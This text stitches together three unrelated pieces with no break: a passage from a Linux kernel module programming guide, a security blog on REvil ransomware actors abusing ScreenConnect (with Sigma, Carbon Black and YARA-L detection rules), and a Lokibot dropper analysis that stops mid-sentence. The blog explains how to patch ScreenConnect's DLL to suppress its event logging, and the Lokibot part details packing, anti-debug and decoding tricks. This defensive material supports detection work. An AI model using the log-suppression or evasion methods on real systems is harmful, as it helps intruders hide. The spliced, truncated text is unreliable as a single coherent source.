printk(KERN_ALERT "myintArray is %i and %i\n", myintArray[0], myintArray[1]); return 0; } static void __exit hello_5_exit(void) { printk(KERN_ALERT "Goodbye, world 5\n"); } module_init(hello_5_init); module_exit(hello_5_exit); ``` I would recommend playing around with this code: ``` satan# insmod hello-5.o mystring="bebop" mybyte=255 myintArray=-1 mybyte is an 8 bit integer: 255 myshort is a short integer: 1 myint is an integer: 20 mylong is a long integer: 9999 mystring is a string: bebop myintArray is -1 and 420 satan# rmmod hello-5 Goodbye, world 5 satan# insmod hello-5.o mystring="supercalifragilisticexpialidocious" \ > mybyte=256 myintArray=-1,-1 mybyte is an 8 bit integer: 0 myshort is a short integer: 1 myint is an integer: 20 mylong is a long integer: 9999 mystring is a string: supercalifragilisticexpialidocious myintArray is -1 and -1 satan# rmmod hello-5 Goodbye, world 5 satan# insmod hello-5.o mylong=hello hello-5.o: invalid argument syntax for mylong: 'h' ``` ### 2.7. Modules Spanning Multiple Files Sometimes it makes sense to divide a kernel module between several source files. In this case, you need to: 1. In all the source files but one, add the line `#define __NO_VERSION__`. This is important because `module.h` normally includes the definition of `kernel_version`, a global variable with the kernel version the module is compiled for. If you need `version.h`, you need to include it yourself, because `module.h` won't do it for you with `__NO_VERSION__`. 2. Compile all the source files as usual. 3. Combine all the object files into a single one. Under x86, use `ld -m elf_i386 -r -o <module name.o> <1st src file.o> <2nd src file.o>`. Here's an example of such a kernel module. ```c /* start.c - Illustration of multi-filed modules * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #include <linux/kernel.h> /* We're doing kernel work */ #include <linux/module.h> /* Specifically, a module */ int init_module(void) { printk("Hello, world - this is the kernel speaking\n"); return 0; } MODULE_LICENSE("GPL"); ``` The next file: ```c /* stop.c - Illustration of multi-filed modules * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #if defined(CONFIG_MODVERSIONS) && ! defined(MODVERSIONS) #include <linux/modversions.h> /* Will be explained later */ #define MODVERSIONS #endif #include <linux/kernel.h> /* We're doing kernel work */ #include <linux/module.h> /* Specifically, a module */ #define __NO_VERSION__ /* It's not THE file of the kernel module */ #include <linux/version.h> /* Not included by module.h because of __NO_VERSION__ */ void cleanup_module() { printk("<1>Short is the life of a kernel module\n"); } ``` And finally, the makefile: ```makefile CC=gcc MODCFLAGS := -O -Wall -DMODULE -D__KERNEL__ hello.o: hello2_start.o hello2_stop.o ld -m elf_i386 -r -o hello2.o hello2_start.o hello2_stop.o start.o: hello2_start.c ${CC} ${MODCFLAGS} -c hello2_start.c stop.o: hello2_stop.c ${CC} ${MODCFLAGS} -c hello2_stop.c ``` ## Chapter 3. Preliminaries ### 3.1. Modules vs Programs #### 3.1.1. How modules begin and end A program usually begins with a `main()` function, executes a bunch of instructions and terminates upon completion of those instructions. Kernel modules work a bit differently. A module always begins with either the `init_module` or the function you specify with `module_init` call. This is the entry function for modules; it tells the kernel what functionality the module provides and sets up the kernel to run the module's functions when they're needed. Once it does this, the entry function returns and the module does nothing until the kernel wants to do something with the code that the module provides. All modules end by calling either `cleanup_module` or the function you specify with the `module_exit` call. This is the exit function for modules; it undoes whatever entry function did. It unregisters the functionality that the entry function registered. Every module must have an entry function and an exit function. Since there's more than one way to specify entry and exit functions, I'll try my best to use the terms `entry function` and `exit function`, but if I slip and simply refer to them as `init_module` and `cleanup_module`, I think you'll know what I mean. #### 3.1.2. Functions available to modules Programmers use functions they don't define all the time. A prime example of this is `printf()`. You use these library functions which are provided by the standard C library, `libc`. The definitions for these functions don't actually enter your program until the linking stage, which ensures that the code (for `printf()`, for example) is available, and fixes the call instruction to point to that code. Kernel modules are different here, too. In the hello world example, you might have noticed that we used a function, `printk()` but didn't include a standard I/O library. That's because modules are object files whose symbols get resolved upon `insmod`ing. The definition for the symbols comes from the kernel itself; the only external functions you can use are the ones provided by the kernel. If you're curious about what symbols have been exported by your kernel, take a look at `/proc/ksyms`. One point to keep in mind is the difference between library functions and system calls. Library functions are higher level, run completely in user space and provide a more convenient interface for the programmer to the functions that do the real work—system calls. System calls run in kernel mode on the user's behalf and are provided by the kernel itself. The library function `printf()` may look like a very general printing function, but all it really does is format the data into strings and write the string data using the low-level system call `write()`, which then sends the data to standard output. Would you like to see what system calls are made by `printf()`? It's easy! Compile the following program: ```c #include <stdio.h> int main(void) { printf("hello"); return 0; } ``` with `gcc -Wall -o hello hello.c`. Run the executable with `strace hello`. Are you impressed? Every line you see corresponds to a system call. `strace` is a handy program that gives you details about what system calls a program is making, including which call is made, what its arguments are, and what it returns. It's an invaluable tool for figuring out things like what files a program is trying to access. Towards the end, you'll see a line which looks like `write(1, "hello", 5hello)`. There it is. The face behind the `printf()` mask. You may not be familiar with `write`, since most people use library functions for file I/O (like `fopen`, `fputs`, `fclose`). If that's the case, try looking at `man 2 write`. The 2nd man section is devoted to system calls (like `kill()` and `read()`). The 3rd man section is devoted to library calls, which you would probably be more familiar with (like `cosh()` and `random()`). You can even write modules to replace the kernel's system calls, which we'll do shortly. Crackers often make use of this sort of thing for backdoors or trojans, but you can write your own modules to do more benign things, like have the kernel write "Tee hee, that tickles!" every time someone tries to delete a file on your system. #### 3.1.3. User Space vs Kernel Space A kernel is all about access to resources, whether the resource in question happens to be a video card, a hard drive, or even memory. Programs often compete for the same resource. As I just saved this document, `updatedb` started updating the locate database. My `vim` session and `updatedb` are both using the hard drive concurrently. The kernel needs to keep things orderly, and not give users access to resources whenever they feel like it. To this end, a CPU can run in different modes. Each mode gives a different level of freedom to do what you want on the system. The Intel 80386 architecture has 4 of these modes, which are called rings. Unix uses only two rings; the highest ring (ring 0, also known as `supervisor mode` where everything is allowed to happen) and the lowest ring, which is called `user mode`. Recall the discussion about library functions vs system calls. Typically, you use a library function in user mode. The library function calls one or more system calls, and these system calls execute on the library function's behalf, but do so in supervisor mode since they are part of the kernel itself. Once the system call completes its task, it returns and execution gets transferred back to user mode. #### 3.1.4. Name Space When you write a small C program, you use variables which are convenient and make sense to the reader. If, on the other hand, you're writing routines which will be part of a bigger problem, any global variables you have are part of a community of other people's global variables; some of the variable names can clash. When a program has lots of global variables which aren't meaningful enough to be distinguished, you get namespace pollution. In large projects, effort must be made to remember reserved names, and to find ways to develop a scheme for naming unique variable names and symbols. When writing kernel code, even the smallest module will be linked against the entire kernel, so this is definitely an issue. The best way to deal with this is to declare all your variables as static and to use a well-defined prefix for your symbols. By convention, all kernel prefixes are lowercase. If you don't want to declare everything as static, another option is to declare a symbol table and register it with a kernel. We'll get to this later. The file `/proc/ksyms` holds all the symbols that the kernel knows about and which are therefore accessible to your modules since they share the kernel's codespace. #### 3.1.5. Code space Memory management is a very complicated subject—the majority of O'Reilly's `Understanding The Linux Kernel` is just on memory management! We're not setting out to be experts on memory management, but we do need to know a couple of facts to even begin worrying about writing real modules. If you haven't thought about what a segfault really means, you may be surprised to hear that pointers don't actually point to memory locations. Not real ones, anyway. When a process is created, the kernel sets aside a portion of real physical memory and hands it to the process to use for its executing code, variables, stack, heap, and other things which a computer scientist would know about. This memory begins with $0$ and extends up to whatever it needs to be. Since the memory space for any two processes doesn't overlap, every process that can access a memory address, say `0xbffff978`, would be accessing a different location in real physical memory! The processes would be accessing an index named `0xbffff978` which points to some kind of offset into the region of memory set aside for that particular process. For the most part, a process like our Hello, World program can't access the space of another process, although there are ways which we'll talk about later. The kernel has its own space of memory as well. Since a module is code which can be dynamically inserted and removed in the kernel (as opposed to a semi-autonomous object), it shares the kernel's codespace rather than having its own. Therefore, if your module segfaults, the kernel segfaults. And if you start writing over data because of an off-by-one error, then you're trampling on kernel code. This is even worse than it sounds, so try your best to be careful. By the way, I would like to point out that the above discussion is true for any operating system which uses a monolithic kernel. There are things called microkernels which have modules which get their own codespace. The GNU Hurd and QNX Neutrino are two examples of a microkernel. #### 3.1.6. Device Drivers One class of module is the device driver, which provides functionality for hardware like a TV card or a serial port. On Unix, each piece of hardware is represented by a file located in `/dev` named a device file which provides the means to communicate with the hardware. The device driver provides the communication on behalf of a user program. So the `es1370.o` sound card device driver might connect the `/dev/sound` device file to the Ensoniq IS1370 sound card. A userspace program like `mp3blaster` can use `/dev/sound` without ever knowing what kind of sound card is installed. #### 3.1.6.1. Major and Minor Numbers Let's look at some device files. Here are device files which represent the first three partitions on the primary master IDE hard drive: ``` # ls -l /dev/hda[1-3] brw-rw---- 1 root disk 3, 1 Jul 5 2000 /dev/hda1 brw-rw---- 1 root disk 3, 2 Jul 5 2000 /dev/hda2 brw-rw---- 1 root disk 3, 3 Jul 5 2000 /dev/hda3 ``` Notice the column of numbers separated by a comma? The first number is called the device's major number. The second number is the minor number. The major number tells you which driver is used to access the hardware. Each driver is assigned a unique major number; all device files with the same major number are controlled by the same driver. All the above major numbers are 3, because they're all controlled by the same driver. The minor number is used by the driver to distinguish between the various hardware it controls. Returning to the example above, although all three devices are handled by the same driver they have unique minor numbers because the driver sees them as being different pieces of hardware. Devices are divided into two types: character devices and block devices. The difference is that block devices have a buffer for requests, so they can choose the best order in which to respond to the requests. This is important in the case of storage devices, where it's faster to read or write sectors which are close to each other, rather than those which are further apart. Another difference is that block devices can only accept input and return output in blocks (whose size can vary according to the device), whereas character devices are allowed to use as many or as few bytes as they like. Most devices in the world are character, because they don't need this type of buffering, and they don't operate with a fixed block size. You can tell whether a device file is for a block device or a character device by looking at the first character in the output of `ls -l`. If it's `b` then it's a block device, and if it's `c` then it's a character device. The devices you see above are block devices. Here are some character devices (the serial ports): ``` crw-rw---- 1 root dial 4, 64 Feb 18 23:34 /dev/ttyS0 crw-r----- 1 root dial 4, 65 Nov 17 10:26 /dev/ttyS1 crw-rw---- 1 root dial 4, 66 Jul 5 2000 /dev/ttyS2 crw-rw---- 1 root dial 4, 67 Jul 5 2000 /dev/ttyS3 ``` If you want to see which major numbers have been assigned, you can look at `/usr/src/linux/Documentation/devices.txt`. When the system was installed, all of those device files were created by the `mknod` command. To create a new char device named `coffee` with major/minor number 12 and 2, simply do `mknod /dev/coffee c 12 2`. You don't have to put your device files into `/dev`, but it's done by convention. Linus put his device files in `/dev`, and so should you. However, when creating a device file for testing purposes, it's probably OK to place it in your working directory where you compile the kernel module. Just be sure to put it in the right place when you're done writing the device driver. I would like to make a few last points which are implicit from the above discussion, but I'd like to make them explicit just in case. When a device file is accessed, the kernel uses the major number of the file to determine which driver should be used to handle the access. This means that the kernel doesn't really need to use or even know about the minor number. The driver itself is the only thing that cares about the minor number. It uses the minor number to distinguish between different pieces of hardware. By the way, when I say `hardware`, I mean something a bit more abstract than a PCI card that you can hold in your hand. Look at these two device files: ``` % ls -l /dev/fd0 /dev/fd0u1680 brwxrwxrwx 1 root floppy 2, 0 Jul 5 2000 /dev/fd0 brw-r----- 1 root floppy 2, 44 Jul 5 2000 /dev/fd0u1680 ``` By now you can look at these two device files and know instantly that they are block devices and are handled by the same driver (block major 2). You might even be aware that these both represent your floppy drive, even if you only have one floppy drive. Why two files? One represents the floppy drive with 1.44 MB of storage. The other is the same floppy drive with 1.68 MB of storage, and corresponds to what some people call a `superformatted` disk. One that holds more data than a standard formatted floppy. So here's a case where two device files with different minor numbers actually represent the same piece of physical hardware. So just be aware that the word `hardware` in our discussion can mean something very abstract. ## Chapter 4. Character Device Files ### 4.1. Character Device Drivers #### 4.1.1. The file_operations Structure The `file_operations` structure is defined in `linux/fs.h`, and holds pointers to functions defined by the driver that perform various operations on the device. Each field of the structure corresponds to the address of some function defined by the driver to handle a requested operation. For example, every character driver needs to define a function that reads from the device. The `file_operations` structure holds the address of the module's function that performs that operation. Here is what the definition looks like for kernel 2.4.2: ```c struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char *, size_t, loff_t *); ssize_t (*write) (struct file *, const char *, size_t, loff_t *); int (*readdir) (struct file *, void *, filldir_t); unsigned int (*poll) (struct file *, struct poll_table_struct *); int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); int (*mmap) (struct file *, struct vm_area_struct *); int (*open) (struct inode *, struct file *); int (*flush) (struct file *); int (*release) (struct inode *, struct file *); int (*fsync) (struct file *, struct dentry *, int datasync); int (*fasync) (int, struct file *, int); int (*lock) (struct file *, int, struct file_lock *); ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *); ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *); }; ``` Some operations are not implemented by a driver. For example, a driver that handles a video card won't need to read from a directory structure. The corresponding entries in the `file_operations` structure should be set to `NULL`. There is a `gcc` extension that makes assigning to this structure more convenient. You'll see it in modern drivers, and may catch you by surprise. This is what the new way of assigning to the structure looks like: ```c struct file_operations fops = { read: device_read, write: device_write, open: device_open, release: device_release }; ``` However, there's also a C99 way of assigning to elements of a structure, and this is definitely preferred over using the GNU extension. The version of `gcc` I'm currently using, 2.95, supports the new C99 syntax. You should use this syntax in case someone wants to port your driver. It will help with compatibility: ```c struct file_operations fops = { .read = device_read, .write = device_write, .open = device_open, .release = device_release }; ``` The meaning is clear, and you should be aware that any member of the structure which you don't explicitly assign will be initialized to `NULL` by `gcc`. #### 4.1.2. The file structure Each device is represented in the kernel by a file structure, which is defined in `linux/fs.h`. Be aware that a file is a kernel level structure and never appears in a user space program. It's not the same thing as a `FILE`, which is defined by `glibc` and would never appear in a kernel space function. Also, its name is a bit misleading; it represents an abstract open `file`, not a file on a disk, which is represented by a structure named `inode`. A pointer to a struct file is commonly named `filp`. You'll also see it referred to as `struct file file`. Resist the temptation. Go ahead and look at the definition of file. Most of the entries you see, like `struct dentry` aren't used by device drivers, and you can ignore them. This is because drivers don't fill file directly; they only use structures contained in file which are created elsewhere. #### 4.1.3. Registering A Device As discussed earlier, char devices are accessed through device files, usually located in `/dev`. The major number tells you which driver handles which device file. The minor number is used only by the driver itself to differentiate which device it's operating on, just in case the driver handles more than one device. Adding a driver to your system means registering it with the kernel. This is synonymous with assigning it a major number during the module's initialization. You do this by using the `register_chrdev` function, defined by `linux/fs.h`. ```c int register_chrdev(unsigned int major, const char *name, struct file_operations *fops); ``` where `unsigned int major` is the major number you want to request, `const char *name` is the name of the device as it'll appear in `/proc/devices` and `struct file_operations *fops` is a pointer to the `file_operations` table for your driver. A negative return value means the registration failed. Note that we didn't pass the minor number to `register_chrdev`. That's because the kernel doesn't care about the minor number; only our driver uses it. Now the question is, how do you get a major number without hijacking one that's already in use? The easiest way would be to look through `Documentation/devices.txt` and pick an unused one. That's a bad way of doing things because you'll never be sure if the number you picked will be assigned later. The answer is that you can ask the kernel to assign you a dynamic major number. If you pass a major number of 0 to `register_chrdev`, the return value will be the dynamically allocated major number. The downside is that you can't make a device file in advance, since you don't know what the major number will be. There are a couple of ways to do this. First, the driver itself can print the newly assigned number and we can make the device file by hand. Second, the newly registered device will have an entry in `/proc/devices`, and we can either make the device file by hand or write a shell script to read the file in and make the device file. The third method is we can have our driver make the device file using the `mknod` system call after a successful registration and `rm` during the call to `cleanup_module`. #### 4.1.4. Unregistering A Device We can't allow the kernel module to be `rmmod`'ed whenever root feels like it. If the device file is opened by a process and then we remove the kernel module, using the file would cause a call to the memory location where the appropriate function (read/write) used to be. If we're lucky, no other code was loaded there, and we'll get an ugly error message. If we're unlucky, another kernel module was loaded into the same location, which means a jump into the middle of another function within the kernel. The results of this would be impossible to predict, but they can't be very positive. Normally, when you don't want to allow something, you return an error code (a negative number) from the function which is supposed to do it. With `cleanup_module` that's impossible because it's a void function. However, there's a counter which keeps track of how many processes are using your module. You can see what its value is by looking at the 3rd field of `/proc/modules`. If this number isn't zero, `rmmod` will fail. Note that you don't have to check the counter from within `cleanup_module` because the check will be performed for you by the system call `sys_delete_module`, defined in `linux/module.c`. You shouldn't use this counter directly, but there are macros defined in `linux/modules.h` which let you increase, decrease, and display this counter: - `MOD_INC_USE_COUNT`: Increment the use count. - `MOD_DEC_USE_COUNT`: Decrement the use count. - `MOD_IN_USE`: Display the use count. It's important to keep the counter accurate; if you ever do lose track of the correct usage count, you'll never be able to unload the module; it's now reboot time, boys and girls. This is bound to happen to you sooner or later during a module's development. #### 4.1.5. chardev.c The next code sample creates a char driver named `chardev`. You can `cat` its device file (or open the file with a program) and the driver will put the number of times the device file has been read from into the file. We don't support writing to the file (like `echo "hi" > /dev/hello`), but catch these attempts and tell the user that the operation isn't supported. Don't worry if you don't see what we do with the data we read into the buffer; we don't do much with it. We simply read in the data and print a message acknowledging that we received it. ```c /* chardev.c: Creates a read-only char device that says how many times * you've read from the dev file * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #if defined(CONFIG_MODVERSIONS) && ! defined(MODVERSIONS) #include <linux/modversions.h> #define MODVERSIONS #endif #include <linux/kernel.h> #include <linux/module.h> #include <linux/fs.h> #include <asm/uaccess.h> /* for put_user */ #include <asm/errno.h> /* Prototypes - this would normally go in a .h file */ int init_module(void); void cleanup_module(void); static int device_open(struct inode *, struct file *); static int device_release(struct inode *, struct file *); static ssize_t device_read(struct file *, char *, size_t, loff_t *); static ssize_t device_write(struct file *, const char *, size_t, loff_t *); #define SUCCESS 0 #define DEVICE_NAME "chardev" /* Dev name as it appears in /proc/devices */ #define BUF_LEN 80 /* Max length of the message from the device */ /* Global variables are declared as static, so are global within the file. */ static int Major; /* Major number assigned to our device driver */ static int Device_Open = 0; /* Is device open? Used to prevent multiple access to the device */ static char msg[BUF_LEN]; /* The msg the device will give when asked */ static char *msg_Ptr; static struct file_operations fops = { .read = device_read, .write = device_write, .open = device_open, .release = device_release }; /* Functions */ int init_module(void) { Major = register_chrdev(0, DEVICE_NAME, &fops); if (Major < 0) { printk ("Registering the character device failed with %d\n", Major); return Major; } printk("<1>I was assigned major number %d. To talk to\n", Major); printk("<1>the driver, create a dev file with\n"); printk("'mknod /dev/hello c %d 0'.\n", Major); printk("<1>Try various minor numbers. Try to cat and echo to\n"); printk("the device file.\n"); printk("<1>Remove the device file and module when done.\n"); return 0; } void cleanup_module(void) { /* Unregister the device */ int ret = unregister_chrdev(Major, DEVICE_NAME); if (ret < 0) printk("Error in unregister_chrdev: %d\n", ret); } /* Methods */ /* Called when a process tries to open the device file, like * "cat /dev/mycharfile" */ static int device_open(struct inode *inode, struct file *file) { static int counter = 0; if (Device_Open) return -EBUSY; Device_Open++; sprintf(msg,"I already told you %d times Hello world!\n", counter++); msg_Ptr = msg; MOD_INC_USE_COUNT; return SUCCESS; } /* Called when a process closes the device file */ static int device_release(struct inode *inode, struct file *file) { Device_Open--; /* We're now ready for our next caller */ /* Decrement the usage count, or else once you opened the file, you'll never get rid of the module. */ MOD_DEC_USE_COUNT; return 0; } /* Called when a process, which already opened the dev file, attempts to read from it. */ static ssize_t device_read(struct file *filp, char *buffer, /* The buffer to fill with data */ size_t length, /* The length of the buffer */ loff_t *offset) /* Our offset in the file */ { /* Number of bytes actually written to the buffer */ int bytes_read = 0; /* If we're at the end of the message, return 0 signifying end of file */ if (*msg_Ptr == 0) return 0; /* Actually put the data into the buffer */ while (length && *msg_Ptr) { /* The buffer is in the user data segment, not the kernel segment; * assignment won't work. We have to use put_user which copies data from * the kernel data segment to the user data segment. */ put_user(*(msg_Ptr++), buffer++); length--; bytes_read++; } /* Most read functions return the number of bytes put into the buffer */ return bytes_read; } /* Called when a process writes to dev file: echo "hi" > /dev/hello */ static ssize_t device_write(struct file *filp, const char *buff, size_t len, loff_t *off) { printk ("<1>Sorry, this operation isn't supported.\n"); return -EINVAL; } MODULE_LICENSE("GPL"); ``` #### 4.1.6. Writing Modules for Multiple Kernel Versions The system calls, which are the major interface the kernel shows to the processes, generally stay the same across versions. A new system call may be added, but usually the old ones will behave exactly like they used to. This is necessary for backward compatibility—a new kernel version is not supposed to break regular processes. In most cases, the device files will also remain the same. On the other hand, the internal interfaces within the kernel can and do change between versions. The Linux kernel versions are divided between the stable versions (n.<even number>.m) and the development versions (n.<odd number>.m). The development versions include all the cool new ideas, including those which will be considered a mistake, or reimplemented, in the next version. As a result, you can't trust the interface to remain the same in those versions (which is why I don't bother to support them in this book, it's too much work and it would become dated too quickly). In the stable versions, on the other hand, we can expect the interface to remain the same regardless of the bug fix version (the m number). There are differences between different kernel versions, and if you want to support multiple kernel versions, you'll find yourself having to code conditional compilation directives. The way to do this is to compare the macro `LINUX_VERSION_CODE` to the macro `KERNEL_VERSION`. In version a.b.c of the kernel, the value of this macro would be `2^16*a + 2^8*b + c`. Be aware that this macro is not defined for kernel 2.0.35 and earlier, so if you want to write modules that support really old kernels, you'll have to define it yourself, like: ```c #if LINUX_KERNEL_VERSION >= KERNEL_VERSION(2,2,0) #define KERNEL_VERSION(a,b,c) ((a)*65536+(b)*256+(c)) #endif ``` Of course since these are macros, you can also use `#ifndef KERNEL_VERSION` to test the existence of the macro, rather than testing the version of the kernel.
# REvil: The Usage of Legitimate Remote Admin Tooling **Krijn de Mik** **Jun 10, 2021** ## 1. Introduction Recently, Hunt & Hackett did an incident response engagement involving Sodinokibi (also known as REvil) ransomware. During the incident, the adversary installed a ScreenConnect service on several systems, functioning as a backdoor. This gave the adversary the possibility to connect directly to those systems, without the need of using the Remote Desktop Protocol (RDP) or the need to authenticate (this is required for installation of ScreenConnect). This is a rather efficient and effective technique used by more threat actors, next to other types of legitimate Remote Administration Tools like TeamViewer and AnyDesk. Other examples of threat actors that have been using ScreenConnect in the past are the Iranian actor named Static Kitten and another targeted ransomware group called Zeppelin. In this blog post, we will look into the traces left behind by the usage of ScreenConnect remote administration software and how these traces can help defenders with building custom detection. ## 2. ScreenConnect Traces and Detection This chapter describes the different traces left by ScreenConnect when it is actively used. Furthermore, some rules are provided in order to detect the usage of ScreenConnect on a system or in an infrastructure. ### 2.1 ScreenConnect Functionality ConnectWise Control (formerly known as ScreenConnect) is advertised as a solution that "gives your techs full remote access to remotely control, troubleshoot, and update client devices." It should not come as a surprise that ScreenConnect can thus also be used for malicious purposes. Via the web interface, ConnectWise Control offers functionality to remotely: - Execute arbitrary commands - Terminate processes - Uninstall software - View event logs - Start/Stop services - Install Windows updates Additionally, ConnectWise Control allows an operator to take control of a machine's desktop session. During a recent incident response case, the File Transfer functionality was used to upload MimiKatz to a compromised system, as well as to upload other tools like Advanced IP Scanner and the actual ransomware. All events related to ScreenConnect can be found in the Windows event logs and are logged with the provider name 'ScreenConnect Client (<hex string>)'. More specifically in the Application.evtx and System.evtx log files, which can generally be found at the following location: `C:\Windows\System32\winevt\logs\<event log file>.evtx` In the table below, an overview is given of the different events that are being logged in the Windows event logs, what is being logged, in which log file the event can be found, and what the corresponding EventID is. | Event | Value | Log | EventID | |--------------------------------------|--------------------------------------------------------------------------|-------------|---------| | Service being installed | A service was installed in the system | System | 7045 | | Start of remote session | Cloud Account Administrator Connected | Application | 0 | | Closing of remote session | Cloud Account Administrator Disconnected | Application | 0 | | File upload/transfer | Transferred files with action 'Transfer': <list of file names> | Application | 0 | | Command execution | Executed command of length: <size> | Application | 0 | ### 2.2 ScreenConnect Installation of Service When ScreenConnect is being installed, it installs itself as a service. Services that are being installed show up in the Windows event logs and can therefore be detected. More specifically, these events can be found in the 'System' event log and get the Event ID 7045. ### 2.3 ScreenConnect Start and Ending of a Session Once a user decides to 'Join' an endpoint and to interact with it, a new event is being logged in the Windows Application event log. A session disconnect is recorded as well. ### 2.4 ScreenConnect File Transfers ScreenConnect offers different ways of interacting with the endpoint on which the ScreenConnect agent is installed. File transferring is one of them. When files are transferred, the Windows Application event log not only records this as an event but also registers the file that is being exchanged. ### 2.5 ScreenConnect Command Execution Another form of interaction with an endpoint is command execution. Via the ConnectWise Control center, it's possible to type a command, hit the 'Run Command' button, after which the command is executed. Upon execution of an operator-invoked task, a Windows Event is generated that indicates a command of a certain length has been executed. ### 2.6 ScreenConnect Detection and Response Installation of and interaction with ScreenConnect can be detected. We have developed Carbon Black and YARA-L rules to support detection efforts. Furthermore, from a forensics perspective, the fact that ScreenConnect.ClientService.exe writes either the command(s) to a .cmd or a .ps1 file before executing the command might make it possible to carve for these files. ## 3. Anti-Forensics and Robust Detection ScreenConnect event logs can indicate that an operator has connected to a machine or performed certain actions like executing commands or transferring files. However, monitoring for ScreenConnect events might not be enough to detect malicious usage. For robust detection, we cannot take for granted that all information is always available. For example, we cannot just rely on the Windows event logs. ScreenConnect events are generated by the application itself, meaning that a determined attacker can prevent any logs from being created. To demonstrate that we can prevent ScreenConnect from logging events, we can patch the bytecode of ScreenConnect.Core.dll, using a tool like dnSpy, and overwrite the call to EventLog.WriteEntry() in TryWriteInformationToEventLog(). This ensures that ScreenConnect can no longer generate any events and will create less evidence. In case an attacker would use such a modified version of ScreenConnect, detection should also focus on the execution of suspicious executables, whether it being ScreenConnect being launched/installed by the attacker or executable files being started via the built-in Run Command functionality. ## 4. Sources 1. Anomali Blog on Static Kitten 2. Morphisec Blog on Zeppelin Ransomware 3. ConnectWise Control 4. GitHub Mimikatz 5. GitHub dnSpy 6. SigmaHQ Sigma Rules ## Appendix 1 - Detection Rules This appendix contains an overview of different rules in both Carbon Black as well as YARA-L format. ### Sigma **Action**: ScreenConnect Remote Access Detection **ID**: 75bfe6e6-cd8e-429e-91d3-03921e1d7962 **Status**: Experimental **Description**: Detects ScreenConnect program starts that establish remote access to that system. **Logsource**: - Category: process_creation - Product: windows **Detection**: - Selection: - CommandLine|contains|all: - 'e=Access&' - 'y=Guest&' - '&p=' - '&c=' - '&k=' - Condition: selection - False Positives: Legitimate use by administrative staff - Level: High ### Carbon Black **Action**: - (process_cmdline:"y=" OR process_cmdline:"?y=") AND (process_cmdline:"h=" OR process_cmdline:"?h=") AND (process_cmdline:"p=" OR process_cmdline:"?p=") AND (process_cmdline:"s=" OR process_cmdline:"?s=") AND (process_cmdline:"k=" OR process_cmdline:"?k=") - (process_name:*screenconnect* OR process_publisher:*ConnectWise*) AND childproc_cmdline:*run.ps1 - (process_name:*screenconnect* OR process_publisher:*ConnectWise*) AND childproc_cmdline:*run.cmd ### YARA-L **Rule**: ScreenConnect Initialization ```yara rule screenconnect_initialisation { meta: author = "Hunt & Hackett" description = "Detects ScreenConnect initialisation" events: $e.metadata.event_type = "PROCESS_LAUNCH" $e.principal.process.command_line = /(\?|\&|\;)y=/ nocase $e.principal.process.command_line = /(\?|\&|\;)h=/ nocase $e.principal.process.command_line = /(\?|\&|\;)p=/ nocase $e.principal.process.command_line = /(\?|\&|\;)s=/ nocase $e.principal.process.command_line = /(\?|\&|\;)k=/ nocase condition: $e } ``` **Rule**: ScreenConnect Task Execution ```yara rule screenconnect_task_execution { meta: author = "Hunt & Hackett" description = "Detects task execution through ScreenConnect" events: $e.metadata.event_type = "PROCESS_LAUNCH" ( $e.principal.process.file.full_path = /ScreenConnect/ nocase and $e.target.process.file.full_path = /powershell.exe/ nocase ) or ( $e.principal.process.command_line = /(powershell\.exe)(.*)([a-f0-9-]{36}run\.ps1)/ nocase ) condition: $e } ``` **Rule**: ScreenConnect Cmd Command Execution ```yara rule screenconnect_cmd_command_execution { meta: author = "Hunt & Hackett" description = "Detects cmd command execution through ScreenConnect" events: $e.metadata.event_type = "PROCESS_LAUNCH" ( $e.principal.process.file.full_path = /ScreenConnect/ nocase and $e.target.process.file.full_path = /cmd.exe/ nocase ) or ( $e.principal.process.command_line = /(cmd\.exe)(.*)(\/c)(.*)([a-f0-9-]{36}run\.cmd)/ nocase ) condition: $e } ```
# A Deep Dive into Lokibot Infection Chain By Irshad Muhammad, with contributions from Holger Unterbrink. ## News Summary Lokibot is one of the most well-known information stealers on the malware landscape. In this post, we'll provide a technical breakdown of one of the latest Lokibot campaigns. Talos also has a new script to unpack the dropper's third stage. The actors behind Lokibot usually have the ability to steal multiple types of credentials and other sensitive information. This new campaign utilizes a complex, multi-stage, multi-layered dropper to execute Lokibot on the victim machine. ## What's New? This sample is using the known technique of blurring images in documents to encourage users to enable macros. While quite simple, this is fairly common and effective against users. This write-up is intended to be a deep dive for reverse engineers into the latest tricks Lokibot is using to infect user machines. ## How Did It Work? The attack starts with a malicious XLS attachment, sent in a phishing email, containing an obfuscated macro that downloads a heavily packed second-stage downloader. The second stage fetches the encrypted third-stage, which includes three layered encrypted Lokibot. After a privilege escalation, the third stage deploys Lokibot. ### First-Stage Analysis When the user opens the phishing email, it presents a Spanish social engineering message ("Payment: Find scheduled payment dates attached"). The Excel sheet uses another common social engineering technique by showing a blurred-out image of a table with the text "Changing the size of this document, please wait," in Spanish. If the victim clicks the "Enable Content" button, thinking it will make the image visible, a malicious macro is executed. The macro is mainly obfuscated by using long hexadecimal variable names. It decrypts the URL for the second stage from hardcoded bytes, saves it to the "Templates" folder, and executes it. ### Second-Stage Analysis The second-stage executable is packed with a Delphi-based packer. The packer contains a timer `xvv` under `Form_main`, which unpacks the payload. The unpacking function performs the following steps: 1. Loads the image resource with name `T__6541957882` into memory. 2. Finds the anchor `WWEX` and copies data following to the new buffer. 3. Adds `0xEE` to the bytes to decode the DLL. 4. Reflectively loads the decoded DLL into memory and executes it. The unpacked DLL is also written in Delphi. It fetches the third payload from the hardcoded URL. The DLL sets a timer, which will execute the downloader function periodically. The `Download3rdStage` will first decode `https://discord.com` and try to connect to it. Then, it performs a time-based anti-debug check. If any of these checks fail, the DLL will not download the third stage. Once the checks have passed, the DLL will decrypt the hardcoded third-stage URL and send the HTTP request. In response to the request, the server sends a ~618KB long hex string. The DLL decodes the hex string using the following steps: 1. Reverse the hex string. 2. Convert hexadecimal digits to bytes (unhexlify). 3. XOR decode with hardcoded key 